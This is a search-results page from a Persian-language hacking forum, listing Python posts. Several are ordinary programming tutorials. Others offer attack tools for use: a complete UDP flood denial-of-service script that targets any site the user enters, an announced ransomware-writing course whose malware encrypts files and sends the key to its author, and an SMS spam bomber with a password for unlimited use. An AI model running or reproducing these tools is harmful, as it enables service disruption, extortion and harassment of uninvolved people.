Jump to content
بازگشایی انجمن! ×
GuardIran

Search the Community

Showing results for tags 'python'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • انجمن گاردایران
    • قوانین و اطلاعیه های سایت
    • اخبار هک و امنیت
    • انتقادات و پیشنهادات
    • بخش خصوصی
    • بخش ویژه - VIP
    • بخش زیر زمینی
  • سوال و جواب های عمومی
    • سوال و جواب های نفوذ به سایت ها و سرورها و روشهای مقابله
    • سوال و جواب های امنیت سیستم های شخصی
    • سوال و جواب های برنامه نویسی
    • سوال و جواب های ابزارهای امنیتی
    • سوال و جواب های شبکه
    • سوال و جواب های مدیریت محتوا و وبلاگ ها
    • سوال و جواب های بخش Trojan , Rat , Keylogger
    • سوال و جواب های سیستم عامل ها
    • سوال و جواب های امنیت ایمیل های شخصی
    • سوال و جواب الکترونیک
    • سوال و جواب های موبایل
    • سوال و جواب های متفرقه
  • انجمن نفوذ و امنیت
    • آموزش های تصویری
    • آموزش های تصویری نفوذ به سیستم های شخصی و روشهای مقابله
    • آموزش های تصویری سایت ها و سرورها و روشهای مقابله
    • آموزشهای تصویری شبکه و روشهای مقابله
    • حملات شبکه و راههای مقابله
    • DOS , DDOS
    • ویروس ها و تروجان ها
    • متاسپلویت Metasploit
    • ابزارهای امنیتی
    • Shell Script
    • آسیب پذیری های وایرلس
    • اکسپلویت
    • باگ های امنیتی
    • امنیت ایمیلهای شخصی
    • تارگت های تمرینی
    • اسکنرها و ابزارهای هکینگ
  • بخش کرک و رمزنگاری
    • ابزار کرک
    • مقالات و آموزشهای کرک
    • مقالات و آموزشهای رمزنگاری
    • ابزارهای رمزنگاری
    • پروکسی لیست
    • پسورد لیست و کمبو لیست
    • کانفیگ
    • اکانت های کرک شده
  • برنامه نویسی
    • برنامه نویسی
    • برنامه نویسی تحت وب
  • بخش موبایل
    • بخش مخصوص موبایل
    • هک موبایل
  • شبکه
    • Cisco سیسکو
    • نتورک پلاس Netwok+
    • مایکروسافت Microsoft
    • میکروتیک Microtics
    • مجازی سازی
    • ابزارهای شبکه و مانیتورینگ
    • فایروال
  • سیستم عامل
    • لینوکس
    • ویندوز
    • کالی لینوکس Kali Linux
    • مکینتاش
  • الکترونيک و روباتيک
    • الکترونيک
    • ميکروکنترلرها و پروسسور ها
    • نرم افزار هاي تخصصي برق و الکترونيک
    • روباتيک
  • گرافيک
    • فتوشاپ
    • فلش
  • متفرقه
    • بحث آزاد

Blogs

There are no results to display.

Calendars

There are no results to display.

Product Groups

There are no results to display.


Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


About Me

  1. ورژن جدیدی منتشر شده است سلام امیدوارم حال همگی خوب باشه. *- برای ابزار ما دو عدد پسورد در نظر گرفته شده. پسورد اولی به احترام تیم و انجمن guardiran.org هست. نکته: با پسورد اول بیشتر از 15 اسپم ارسال نمی شود! پسورد دوم(پسورد نامحدود) رو قبلا گذاشته بودم تو تاپیک، ولی افرادی اومدن گفتن داره ازش بدجوری بد استفاده میشه، پس پسورد اصلی از تاپیک حذف شد. دوستان اگر نیاز داشتن شخصی پیام بدن تا براشون ارسال کنم. *- هر پسوردی که وارد بشه، به محض تایید شدن کنار فایل قرار میگیره و با نام SRX Boomber.txt ذخیره میشه. (فقط در صورتی که گزینه اول را انتخاب کرده باشید.) *- در صورتی که با آیپی ایرانی وارد ابزار بشید، قبل از شروع ارسال اسپم ها، بهتون اخطاری داده میشه مبنی بر اینکه ممکنه شناسایی بشید، این قسمت رو گذاشتم تا اگر مشکلی پیش اومد نندازید تقصیر من! می تونید قبول کنید، می تونید قبول نکنید. ابزار رو می تونید از این لینک دانلود کنید. دیگر هیچ خدماتی نسبت به این ابزار ارائه داده نمی شود! از آخرین ورژن ثبت شده که در انتهای تاپیک قرار دارد استفاده کنید
  2. به نام خدا عرض سلام و خسته نباشید خدمت همگی دوستان و کاربران محترم. با عنایت خدا قراره که یه دوره باج افزار نویسی برای سیستم عامل ویندوز رو با زبان شیرین پایتون شروع کنیم. عزیزانی که می خوان تو این دوره با من همراه باشند باید به زبان پایتون تسلط کافی داشته باشند. دوره به دو بخش تقسیم میشه. 1- طراحی اسکلت باج افزار میایم یه باج افزار می نویسیم که فقط یه لیستی از پسوند ها رو انکریپت کنه، و کلید رو برای ما بفرسته، به همراه یه فایل دیکرپتور ساده. 2- ارتقا باج افزار نوشته شده کم کم این باج افزار خام رو ارتقا میدیم و اون رو تقویت می کنیم. پیشنیاز ها: 1- تسلط کامل بر روی زبان برنامه نویسی پایتون 2- آشنایی جزئی با ویندوز (اختیاری) 3- یک ویندوز مجازی موارد نصبی 1- پایتون3 2- ادیتور (بنده از VScode استفاده میکنم) اگر با ریجستری ویندوز آشنایی داشته باشید، کار تون در قسمت دوم دوره خیلی راحت میشه. در قسمت اول، از کتابخونه Cryptography استفاده میشه، اما اگر خدا بخواد تو قسمت دوم رمزنگاری پیچیده تر RSA رو پیاده سازی می کنیم. قوانین تاپیک 1- هیچ احدی، از ادمین گرفته تا کاربر تازه وارد، بدون هماهنگی در تاپیک پست نگذارید. 2- سوالات در این تاپیک پرسیده نمی شوند. برای پرسش سوال کلیک کنید. 3- در صورت داشتن سوال شخصی، انتقاد یا کمک در این زمینه کلیک کنید و پیام شخصی ارسال کنید. این جلسه: معرفی دوره + یک نمونه عملی: Guardiran.mp4 رفع مسئولیت تمام مسئولیت های استفاده از باج افزار بر عهده خود فرد میباشد و اینجانب هیچ گونه مسئولیتی در قبال استفاده نادرست از این بدافزار را ندارم و هرگونه پاسخگویی به ادعاهای مطرح شده توسط اشخاص حقیقی و حقوقی رد میشود و تیم امنیتی گاردایران هیچگونه مسئولیتی نسبت به آن ندارد. فهرست مطالب: قسمت اول - ویدیو معرفی قسمت اول - جلسه اول قسمت اول - جلسه دوم قسمت اول - جلسه سوم قسمت اول - جلسه چهارم ـــــــــــــــــــــــــــــــــــــــــ قسمت دوم - جلسه اول قسمت دوم - جلسه دوم قسمت دوم - جلسه سوم (جدید) مدت زمان دوره تا الان: 06 : 48 : 2 موفق باشید🌹
  3. بسم الله الرحمن الرحیم خب دوستان امروز میخوای یک ابزار که پلیس فتا ازش استفاده میکنه رو واستون معرفی کنم این ابزار قدرت بسیار بالایی دارد و موقیت دقیق فرد بدون هیچ خطای سانتی متری رو ردیابی میکنه فیلمش رو پایین واستون میزارم لینک دانلود هم میزارم Rubika: @fice_bodam d63fc353113bfef613441fd89d5853dd7405521-720p.mp4
  4. با سلام و احترام خدمت اعضای تیم گارد ایران در این تاپیک قصد دارم سوالات سایت کوئرا رو حل کنم و با سورس قرار بدم تو این تاپیک قرار از زبان های C# , C , C++ , Ruby , Python , Vb هم استفاده کنم فقط من سورس کد رو قرار میدم وظیفه کامپایل بر عهده شما است برای کامپایل فایل cs هم تاپیک میزارم لینک سوال رو هم قرار میدم لطفا اسپم نکنید , دکمه تشکر هم اون پایین هست
  5. سلام اسکریپتی نوشتم که با توجه به آموخته های دوره باج افزار نویسی باید قادر به فهم نحوه عملکردش باشید. اگر مشکلی نباشه در آینده قراره یه دوره طراحی نرم افزار های گرافیکی با پایتون در انجمن قرار داده بشه. سورس فایل قرار داده میشه تا دوستان با نحوه نوشتن برنامه با PyQt5 آشنایی داشته باشند. نرم افزار دارای دو قسمت هستش: 1. رمزنگاری 2. رمزگشایی تصاویری از محیط نرم افزار ویدیو نحوه عملکرد نرم افزار NewRecord.mp4 فایل دانلودی، شامل نسخه های exe و py: لینک مستقیم (guardiran.org) لینک کمکی (guardiran.org)
  6. backpack

    Py Tkinter

    سلام دوستان بعدا یه سری چیزا که توی Tkinter داریم رو بهش اضافه می کنم تا با کارکرد Tkinter در پایتون آشنایی پیدا کنید(دوستانی که آشنایی ندارند). میتونید سورس رو بررسی کنید و ببینید کار ها ماژول یا هرچیز دیگه ای چیه. File password: guardiran.org CodeMelli.zip
  7. دلیل استفاده از پایتون پایتون یک زبان برنامه نویسی قدرتمند، ساده و راحت است که با استفاده از اون می تونید به جای سینتکس زبان یا مسائل دیگر، روی ایده اصلیتون تمرکز کنید. مشکل پایتون اما مشکل بزرگ پایتون این است که برنامه های که با پایتون نوشته می شوند، بسیار از زبان های کامپایلی مانند C یا C++ کندتر اجرا می شوند. و اگر کسی بخواهد بعد از پیاده سازی ایده اش در پایتون اون برنامه رو سریع کنه باید اون رو با یک زبان دیگه مثل C دوباره از اول بنویسه. راه حل: PyPy خوشبختانه یک جایگزین برای پایتون وجود داره به نام PyPy که با اون میتونید دقیقا همون کد پایتون رو با سرعتی مانند زبان برنامه نویسی C اجرا کنید! برای اینکه سرعت PyPy رو تست کنم، یک برنامه که اعداد ۱ تا ۱۰۰ میلیون را با هم جمع کنه با زبان پایتون و C نوشتم. برنامه رو اول با پایتون اجرا کردم در سیستم من 9.6 ثانیه طول کشید. بعد دقیقا همون برنامه رو بدون هیچ تغییری با PyPy اجرا کردم، نتیجه باورنکردنی بود و برنامه با سرعت بالایی در 27.9 صدم ثانیه اجرا شد! برنامه C هم تقریبا مشابه PyPy در 27.8 صدم ثانیه اجرا شد. آقای Guido van Rossum (سازنده پایتون) درباره PyPy می گوید: If you want your code to run faster, you should probably just use PyPy. اگر شما می خواهید کدتان سریعتر اجرا شود، احتمالا باید فقط از PyPy استفاده کنید. اما چرا PyPy اینقدر سریع است؟ راز سریع بودن PyPy، کامپایل درجا یا Just In Time Compilation (JIT Compilation) است. کامپایل جلوتر از زمان (Ahead Of Time Compilation) زبان های برنامه نویسی مثل سی، سی پلاس پلاس، سوئیفت، Rust و ... به روش کامپایل جلوتر از زمان یا Ahead Of Time Compilation (AOT Compilation) اجرا می شوند. به این معنی است که شما کدی را در یکی از این زبان ها می نویسید و یک کامپایلر آن را به زبان ماشین تبدیل می کند و سپس کدی را که به زبان ماشین تبدیل شده اجرا میکند. مفسر (Interpreter) زبان هایی مثل پایتون، جاوااسکریپت و زبان های مشابه توسط یک مفسر (Interpreter) اجرا می شوند. در این روش برنامه بدون هیچ تغییری وجود دارد و هر زمان که برنامه اجرا شود مفسر به کد، خط به خط نگاه می کند و آن را اجرا می کند. کامپایل درجا (Just In Time Compilation) یا Run-Time Compilation اما کامپایل درجا یا Just In Time Compilation که PyPy از آن استفاده می کند چگونه است؟ در کامپایل درجا، هر قسمت از کد قبل از اجرایش کامپایل می شود. یعنی نه مانند مفسر خط به خط کد را اجرا می کند. و نه مانند کامپایل جلوتر از زمان تمام برنامه را اول کار کامپایل می کند. کامپایل کردن درجا، ترکیبی از مفسر و کامپایل جلوتر از زمان است.
  8. خیلی از دوستانی که من میبینم میان برای ساخت ربات اینستاگرام از selenium استفاده میکنن که به نظرم میتونه به عنوان گزینه اخر بهش نگاه کرد با توجه به اینکه هر بار یه مرورگر باید لود بشه و کلی طول میکشه تا هر عملی رو انجام بده تو این اموزشا یاد میگیریم که چطوری با ماژول requests تو پایتون درخواست لوگین رو بفرستیم و بتونیم وارد حساب کاربریمون بشیم . import requests, json, urllib.parse username = "Your Username" password = "Your Password" r = requests.Session() hd={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0'} #use a fake user-agent res = r.get('[Hidden Content]', headers=hd) payload = {'username':username,'enc_password':'#PWD_INSTAGRAM_BROWSER:0:1254625879:'+password,'queryParams':'{}','optIntoOneTap':'false'} headers_text = '''Host: www.instagram.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-CSRFToken: %s X-IG-WWW-Claim: 0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: %s Origin: [Hidden Content] Referer: [Hidden Content] Cookie: ig_did=%s; csrftoken=%s; mid=%s TE: Trailers'''%(res.cookies['csrftoken'],str(len(urllib.parse.urlencode(payload))),res.cookies['ig_did'],res.cookies['csrftoken'],res.cookies['mid']) payload_headers = {i.split(': ')[0]:i.split(': ')[1] for i in headers_text.split('\n')} resp = r.post("[Hidden Content]accounts/login/ajax/", headers=payload_headers,data=payload) if json.loads(resp.text)['authenticated'] == True: print('[+] Login successfully!') print(resp.text) مقادیر هر هدر رو میتونید از توی تب Network داخل inspect element مرورگرتون بدست بیارید . اگه هدر های بالا کار نکرد مقادیر X-Instagram-AJAX و X-IG-App-ID به راحتی از مرورگرتون بدست میاد.. (هر جند گذاشتن این پارامتر ها الزامی نیست) فقط باید جای username و password اطلاعات کاربری خودتونو بنویسید و اسکریپتو اجرا کنید تا وارد حسابتون بشید اون عدد 1254625879 صرفا یه عدد 10 رقمیه که دلخواه هست . user-agent هم میتونید به صورت fake بذارید . حتی برای انتخاب این هدر ، کتابخونه هم درست کردن برا پایتون اسمش fakeuseragent بود
  9. سلام به همه اعضای عزیز گارد ایران چند دقیقه پیش از سر عصبانیت یه حرفی زدم که الان پشیمونم 😐 تصمیم گرفتم تا در این تاپیک بهتون یاد بدم چطور یک ربات دیسکورد با زبان دوستداشتنی پایتون بسازیم خب اول از همه اینکه توی ۸ درس خواهد بود که هر درس ۲ بخش خواهد داشت 😐 هر هفته سعی میکنم ۲ تا درس رو تموم کنم تا راحت بشیم توی این دوره قراره از صفر صفر کار کنیم ولی کسایی که دارن این آموزش رو میبینن بهتره از قبل یکم درک از زبان پایتون داشته باشن تا کارشون راحت تر باشه کتابخونه های مورد استفاده : Discord Random همین ! 😐 خب کسایی که پایتون رو سیستمشون نصب باشه و کمی با زبان پایتون آشنایی داشته باشن میدونن pip چی هست خلاصه اینکه کتابخونه مورد نیازش رو نصب کنید تا جلسه بعدی بدرود
  10. راستش من خیلی کم داخل انجمن پروژه دیدم که چند نفری باشه برای همین تصمیم به ساخت این تاپیک گرفتم این تاپیک بیشتر برای این هست که اگر دوستان عزیز ایده ای دارن که برای ساختش نیاز به کمک دارن اعلام کنن تا برنامه نویس های عزیز انجمن بهشون کمک کنن یا دوستان که نیاز به ابزار خواستی دارن که واقع نیاز برای عموم هستش وجود نداره یا پولی هست اعلام کنن تا براشون بسازیم امیدوارم این تاپیک شروع همکاری های خوبی در انجمن باشه
  11. دلیل خطای import اسکریپت های پایتونی در فایل دیگر پایتون , با اینکه در یک دایرکتوری هستند چی می تونه باشه ؟
  12. سلام دوستان من باز اومدم تو این تاپیک می خوام یک ابزار رو بهتون معرفی کنم ابزاری که باهاش می تونید توی یک دقیق دیفیس تون رو بسازید بریم سراغ کارمون من یک ویدیو میزارم ببینید خوش گویا همچی هست Rec 0009.mp4 خب فیلم رو دیدید تنها چیزی که می مونه اینه که ادمین های عزیز این قطع کد رو به css دیفیس اضافه کنن .retiredmanager { text-shadow: 1px 1px 10px #4d79ff; color: #4d79ff; } .golduser { text-shadow: 1px 1px 10px #fffd00; color: #fffd00; } .activeuser { text-shadow: 1px 1px 10px #57ff0c; color: #57ff0c; } .user { text-shadow: 1px 1px 10px #b6ec86; color: #b6ec86; } .newuser { color: #fff; } امیدوارم که به کارتون بیاد این ابزار بیشتر برای این هست که یک نظم کلی به دیفیس داده بشه تا نیاز نباشه فرد خودش دست به ادیت بشه یا چیز های اضافه به دیفیس اضافه کنه هم فایل py رو این پایین میزارم دوست داشتید استفاده کنید این نسخه 1.1 ابزار هست اگر شد نسخه های بعدیش رو هم میزنم میزارم استفاده کنید البته چیز زیادی داخلش فرق نمی کنه فقط جزئیات ظاهر یا چندتا کاربرد دیگه تا تاپیک های بعدی خدانگهدار Tools.py
  13. سلام من این ابزار رو نوشتم و رمز وای فای رو بهتون میده سربلند و پیروز باشید. @Zubeid wi-fi_passwd.py
  14. سلام بعضیا نمیوتنن یا وسواسن به پسوردی که دارن و نمیدونن چه پسوردی انتخاب کنن. این ابزار میتونه چنتا پسورد درهمبرهم و پیچیده براتون درست کنه. شما فقط اون رو اجرا میکنید pyrhon pass.py pass.py
  15. سلام باز هم منم 🙂 من دیدم مطالب کد های زیادی در مورد برنامه نویسی دارم گفتم این تاپیک رو بسازم که کد ها رو داخل این تاپیک بزارم یا اگر چیزی خواستم اضافه کنم اینجا اضافه کنم که اسپم نشه تو این تاپیک قطع کد های مفید از زبان های برنامه نویسی (بیشتر زبان های برنامه نویسی وب) رو میزارم خوشحال میشم اگر شما هم کدی داشتید اینجا به اشتراک بزارید ممنون که منو تحمل می کنید 🙂 به امید موفقیت همه هکر های ایرانی 🌹
  16. dpkg: error processing package python3.9-minimal (--configure): installed python3.9-minimal package post-installation script subprocess return ed error exit status 2 Errors were encountered while processing: python3.9-minimal E: Sub-process /usr/bin/dpkg returned an error code (1) پایتون رو قبلا نصب کرده بودم ولی برخی از فایل های پایتون پاک شد حالا برای نصب دوباره باید چه کرد؟
  17. متد append: این متد یک پارامتر می گیرد و آن را به آخر لیستی که متد بر روی آن فراخوانی شده اضافه می کند. numbers = [1,2,3] numbers.append(4) print(numbers) # OUTPUT: [1,2,3,4] متد clear: همه ی عناصر لیست را حذف می کند. numbers = [1,2,3,4] numbers.clear() print(numbers) # OUTPUT: [] متد copy: اگر برای شما پیش آمده است که می خواهید یک لیست مانند لیست اصلی داشته باشید و در آن تغییراتی ایجاد کنید که در لیست اصلی اعمال نشوند می توانید از این متد استفاده کنید. (یک لیست مانند لیست اصلی بر می گرداند) numbers = [1,2,3,4] numbers2 = numbers.copy() print(numbers2) # OUTPUT: [1,2,3,4] numbers2[1] = 0 print("numbers:", numbers) print("numbers2:", numbers2) # OUTPUT # numbers: [1,2,3,4] # numbers2: [1,0,3,4] متد count: یک پارامتر می گیرد و تعداد عناصری که مقدار آن ها با پارامتر برابر است را بر می گرداند. numbers = [3,2,1,5,2,1,6] print(numbers.count(1)) # OUTPUT: 2 print(numbers.count(9)) # OUTPUT: 0 chars = ["a","b","e","a","c","f"] print(chars.count("b")) # OUTPUT: 1 متد extend: یک لیست یا هر مقدار قابل پیمایش دیگری را به عنوان پارامتر می گیرد و مقدارهای آن را به آخر لیست اضافه می کند. nums = [1,2,3,4] nums.extend([5,6,7,8,9]) # OUTPUT: [1, 2, 3, 4, 5, 6, 7, 8, 9] chars = ["a","b","c"] chars.extend("Guardiran") # OUTPUT: ['a', 'b', 'c', 'G', 'u', 'a', 'r', 'd', 'i', 'r', 'a', 'n'] متد index: یک پارامتر می گیرد و اولین خانه ای در لیست که مقدار آن با پارامتر ورودی مساوی باشد، ایندکس آن خانه را بر می گرداند. nums = [2,4,1,2,5,2,3,6,7] nums.index(2) # OUTPUT: 0 متد insert: دو پارامتر می گیرد که اولین پارامتر ایندکسی است که میخواهیم مقدار در آنجا قرار داده شود و دومین پارامتر مقداری است که می خواهیم آن را به لیست اضافه کنیم. chars = ["a","c","d","e"] chars.insert(1, "b") print(chars) # OUTPUT: ['a', 'b', 'c', 'd', 'e'] متد pop: یک پارامتر اختیاری دارد که ایندکس است. اگر آن را ارسال کنیم، عنصری که در آن ایندکس قرار دارد از لیست پاک می شود و برگردانده می شود، و اگر متد را بدون پارامتر فراخوانی کنیم به صورت پیشفرض آخرین عنصر را حذف کرده و آن را برمیگرداند. numbers = [1,2,3,4,5] print(numbers.pop()) # OUTPUT: 5 print(numbers) # OUTPUT: [1, 2, 3, 4] chars = ["a","f","b","c"] print(chars.pop(1)) # OUTPUT: f print(chars) # OUTPUT: ['a', 'b', 'c'] متد remove: یک پارامتر می گیرد و اولین عنصری که مقدارش با پارامتر برابر باشد آن را از لیست پاک می کند. numbers = [1,6,2,1,4,2,7] numbers.remove(2) print(numbers) # OUTPUT: [1, 6, 1, 4, 2, 7] متد reverse: ترتیب عنصرهای لیست را برعکس می کند. nums = [1,2,3] nums.reverse() print(nums) # OUTPUT: [3, 2, 1] متد sort: این متد دو پارامتر اختیاری می گیرد و لیست را به مرتب می کند. numbers = [4,5,3,6,1,2] numbers.sort() print(numbers) # OUTPUT: [1, 2, 3, 4, 5, 6] chars = ["b","c","f", "e", "a","d"] chars.sort() print(chars) # OUTPUT: ['a', 'b', 'c', 'd', 'e', 'f'] پارامتر reverse: این متد به صورت پیشفرض عنصرها را به صورت صعودی مرتب می کند. برای اینکه آنها را به صورت نزولی مرتب کنیم، پارامتر reverse آن را برابر با True قرار می دهیم. numbers = [4, 1, 2, 6, 5, 3] numbers.sort(reverse=True) print(numbers) # OUTPUT: [6, 5, 4, 3, 2, 1] پارامتر key: پارامتر بعد یک تابع یا لامبدا را می گیرد و لیست را بر اساس روشی که در تابع تعریف شده،‌ مرتب می کند. names = ["Ali", "Hassan", "Hossein", "Sajad"] def sort_by_length(element): return len(element) names.sort(key=sort_by_length) print(names) # OUTPUT: ['Ali', 'Sajad', 'Hassan', 'Hossein'] names.sort(key=lambda elm: len(elm)) print(names) # OUTPUT: ['Ali', 'Sajad', 'Hassan', 'Hossein']
  18. سلام دوستان بازم همن هستم این بار می خوایم مروری بر نوشتن یک ابزار خوب داشت باشیم چند نکته اساسی رو باید همیشه رعایت کنیم نکته اول که خیلی مهم هست این هست که همیشه و همیشه برای کدی که میزنیم کامنت بزاریم فواید کامنت گزاشتن : اگر بعد از مدتی به کدمون برگردیم میفهمیم هر چیزی که نوشتیم برای کجا کاربرد داره دیگر برنامه نویسان می تونن راحت تر کد ما رو بخونن تحلیل کنن و یا حتا ارتقاء بدن ممکن شما مثلا با پایتون یک ابزار با طراحی گرافیکی ساخت باشی و امروز نیاز به کد که اون زمان برای طراحی گرافیک زدی داشته باشی خب خیلی راحت تر می تونی به دستش بیاری نکته دوم به نظر من وقتی ما داریم یک ابزار کاماندی مینویسیم حتما باید یک خط فرمان براش بسازیم این کار هم در زیبایی هم کار آمدی ابزار کاربرد داره نکته سوم سعی کنیم بیشتر از کتابخونه های داخلی پایتون استفاده کنیم شاید ی کتابخونه رو یک سیستم به درستی نصب نشه در نتیجه فرد نمی تونه از ابزار ما استفاده کنه از مزایای دیگری که میشه برای کتابخونه های داخلی مثال زد خروجی exe یا خروجی برای لینوکس ها هستش نکته چهارم همیشه سعی کنیم ابزار هایی رو که برای کاماند لاین می نویسید و محیط گرافیکی ندارن رو با چند رنگ بنویسید از لحاظ روان شناسی کاربر رغبت بیشتری نسبت به نوشته های رنگی داره (البته فراموش نکنید که رنگ هایی که انتخاب می کنید رنگ های نباشه که تاثیر منفی به مغز فرد بزاره یا چشمش رو اذیت کنه) نکته پنجم سعی کنید اگر ابزار که می سازید گرافیکی نیست نوشته هایی رو بهش اضافه کنید که حالت گرافیکی و زیبایی بگیره مثلا این عکس امیدوارم این نکات به کارتون بیاد و از این تاپیک راضی باشید اگر چیزی کم گفتم شما اضافه کنید تا تاپیک بعدی 👋
  19. سلام بازم منم با یک آموزش دیگه از پایتون اومدم تو آموزش قبل (پخش صدا در پایتون) فهمیدیم که چجوری میشه یک اهنگ رو داخل پایتون پخش کرد اما خودمونی بگم ادم دهنش سرویس میشه بخواد سر هر صدا تو ابزارش ی ویس ضبط کنه تا اونم با صدای خودش امروز می خوام با استفاده از صدای کامپیوتر یک متن مشخص یا متغییر رو پخش کنیم مثل همیشه اول کد رو میزارم بعد توضیح میدم import pyttsx3 #Hacker Zed | Guardiran text = 'Welcome to Anonymous DDos Attack' sound = pyttsx3.init() sound.setProperty('rate' , 110) sound.say(text) sound.runAndWait() اول از همه باید بگم ما اینکار رو با کتابخونه داخلی پایتون انجام نمیدیم پس باید نصبش کنیم --------------------------------------------------------------------------------------------------------------- pip install pyttsx3 --------------------------------------------------------------------------------------------------------------- حالا بریم سراغ توضیحات خط اول کتابخونه مورد نظر رو اضافه کردیم بعدش خط دوم اومدیم ی متغیر تعریف کردیم که داخش متنی که می خوایم گفته شه رو می نویسیم میرسیم خط 5 که داریم میگیم سرعت پخش چقدر باشه میتونید اون 110 رو تغییر بدید مال سرعت پخش صدا هست خط پایینش گفتیم بیا نوشته های داخل این متغیر رو پخش کن خط آخر هم که گفتیم برنامه اجرا بشه و تا وقتی تموم نشده نزار بره ادامه برنامه رو بخونه این کدی که پایین میزارم برای این هست که از کاربر نوشته رو بگیره و بخونه import pyttsx3 #Hacker Zed | Guardiran text = input('\n\n\tType Text : ') sound = pyttsx3.init() sound.setProperty('rate' , 110) sound.say(text) sound.runAndWait() الان هم چیز واضح هست تنها تغییر این که متغیر رو از ثابت بودن تغییر دادم همین تا تاپیک بعدی خدانگهدار 👋
  20. سلام دوستان تو این تاپیک می خوایم بریم سراغ پخش موزیک در پایتون خب خیلی سریع بریم سراغ کار خودمون اول کد ها رو میزارم بعدش هم توضیح میدم import playsound playsound.playsound(r"C:\Users\Zed\OneDrive\Desktop\Tools\Music.mp3") # آدرس جایی که کد هست ما این کار رو با استفاده از کتابخونه playsound انجام میدیم خط اول که کتابخونه مورد نظر رو اضافه کردیم خط بعدش هم اومدم گفتیم این موزیک رو اجرا کن اما اگر خواستید از این کد برای یک ابزار استفاده کنید (اصلا پیشنهاد نمیشه چون باعث کند اجرا شدن برنامه میشه) می تونید از کد زیر استفاده کنید چون داخل هر سیستم مسیر متغییر هست کنارش موزیک رو قرار میدیم و میگیم از این مسیر استفاده کن بعد از گزاشتن کد بیشتر توضیح میدم import playsound import os playsound.playsound(os.getcwd()+r'\Music.mp3') تو این کد با استفاده از کتابخونه os میایم و مسیر که الان هستیم رو میگیریم بعد با استفاده بهش می گیم که موزیک رو هم به ادامه مسیر اضافه کن در نتیجه برنامه موسیقی رو پخش می کن یک توضیح هم بدم در مورد اون r که گذاشتم بعضی دستورات در پایتون مثل n\ یا t\ کار های خاصی رو انجام میدن برای اینکه ما به برنامه بفهمونیم نمی خوایم تو m\ یک دستور بشناسی از r استفاده میشه امیدوارم براتون کار آمد باشه تا تاپیک بعدی خدانگهدار👋
  21. سلام خدمت دوستان خواستم یه نظری از شما خواسته باشم برای اینکه تازه میخام پایتون رو یاد بگیرم داشتم گشتو گذار میکردم تو نت برا پایتون که به سری عوامل بر خورد کردم تا خوندمش یه کم ترسیدم که نکنه این سایتی که دارم اموزش میبینم پایتون 1باشه بعدش همه رفته باشند پایتون 3 ادرسش اخر مطلب هست همینجور که داشتم دانلود میکردم به سایت های دگیه هم سری میزدم که یه جا نوشته بود پایتون ۲ یا ۳ (!) محاله که سراغ پایتون بخواید برید و به این مسئله نخورید! ۲ نسخه از پایتون داریم که باهم سازگار نیستند تقریبا و کدهای هرکدوم به سادگی با نسخه‌ی دیگه اجرا نمیشه یا ممکنه اجرا بشه و همون نتیجه رو نده!!! پایتون ۳ جدیدتره و تقریبا همه در حال مهاجرت بهش هستند و اگر الان می‌خواید شروع کنید به کد زدن حتما از پایتون ۳ استفاده کنید مگر در شرایط خاص (وابستگی به کدی که فقط با پایتون ۲ کار می‌کنه). در این سری آموزش‌ها هم پایتون ۳ استفاده میشه. پایتون، سایتون، جایتون، آیرون‌پایتون، آناکوندا، پای‌پای و ... نسخه‌های مختلفی از پایتون وجود داره که میشه استفاده‌های مختلفی ازشون کرد ولی تا پیشنهاد می‌کنم تا زمانی که نیازی ندارید با هرکدوم از این نسخه‌ها کار کنید به همون پایتون اصلی (CPython) (سی‌پایتون همون پایتون هست) کار کنید راهنمایی کنید [Hidden Content]-(-python-)
  22. سلام دوستان تو این تاپیک قرار یادبگیریم چجوری با استفاده از پایتون ی ابزار دیداس درست کنیم خیلی راحت این کد رو داخل یک فایل پایتون پیست می کنیم import socket import sys import os import time import platform from subprocess import call import _thread import pyttsx3 #import text = 'Welcome to Anonymous Dos Attack' sound = pyttsx3.init() sound.setProperty('rate' , 110) sound.say(text) sound.runAndWait() # For Clear Page def clear(): if platform not in ('win32', 'cygwin'😞 terminal = 'clear' else: terminal = 'cls' try: call(terminal, shell=True) except OSError as e: print(type(e).__name__, e) clear() # For Clear Page #Code DDOS site = input("Enter your site url => ") thread_count = input("Enter your thread => ") ip = socket.gethostbyname(site) UDP_PORT = 80 MESSAGE = 'BooT SHoDaN' print("UDP target IP:", ip) print("UDP target port:", UDP_PORT) time.sleep(3) def ddos(i😞 while 1: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(bytes(MESSAGE,"UTF-8"), (ip, UDP_PORT)) print("Packet Sent") for i in range(int(thread_count)): try: _thread.start_new_thread(ddos, ("Thread-" + str(i),)) except KeyboardInterrupt: sys.exit(0) while 1: pass #Code DDOS فایل رو سیو می کنم و با استفاده از ترمینال یا cmd باز می کنم ی سری توضیحات بدم از شروع کد ها تا کامنت import کتابخونه های مورد نیاز رو اضافه کردیم از کامنت import تا کامنت for clear page برای این هست که وقتی کاربر کد رو اجرا کرد یک صدا نوشته که ما مشخص کردیم رو بگه از کامنت for clear page اول تا for clear page دوم برای این هست که صفحه پاک بشه ادامه کد ها هم که مربوط به ابزار دیداس هستش البته الان که من کد رو اینجا پیست کردم ی سری ایموجی بهش اضافه شد پس فایلش رو هم این پایین میزارم دانلود کنید که بفهمیدم این کد ها چجوری هستش در ضمن این کد ها با پایتون 3 نوشته شده و بعدی از کتابخونه هاش هم کتابخونه داخل نیستن و باید نصبشون کن که برای دستورات نصب این کتابخونه ها رو میزارم که راحت باشید و نیاز نباشه تو اینترنت دنبال دستور نصبش بگردید -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- pip install threaded pip install pyttsx3 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- اگر کتابخونه جا افتاده به بزرگی خودتون ببخشید تا تاپیک بعدی روز خوشGuardiran.py
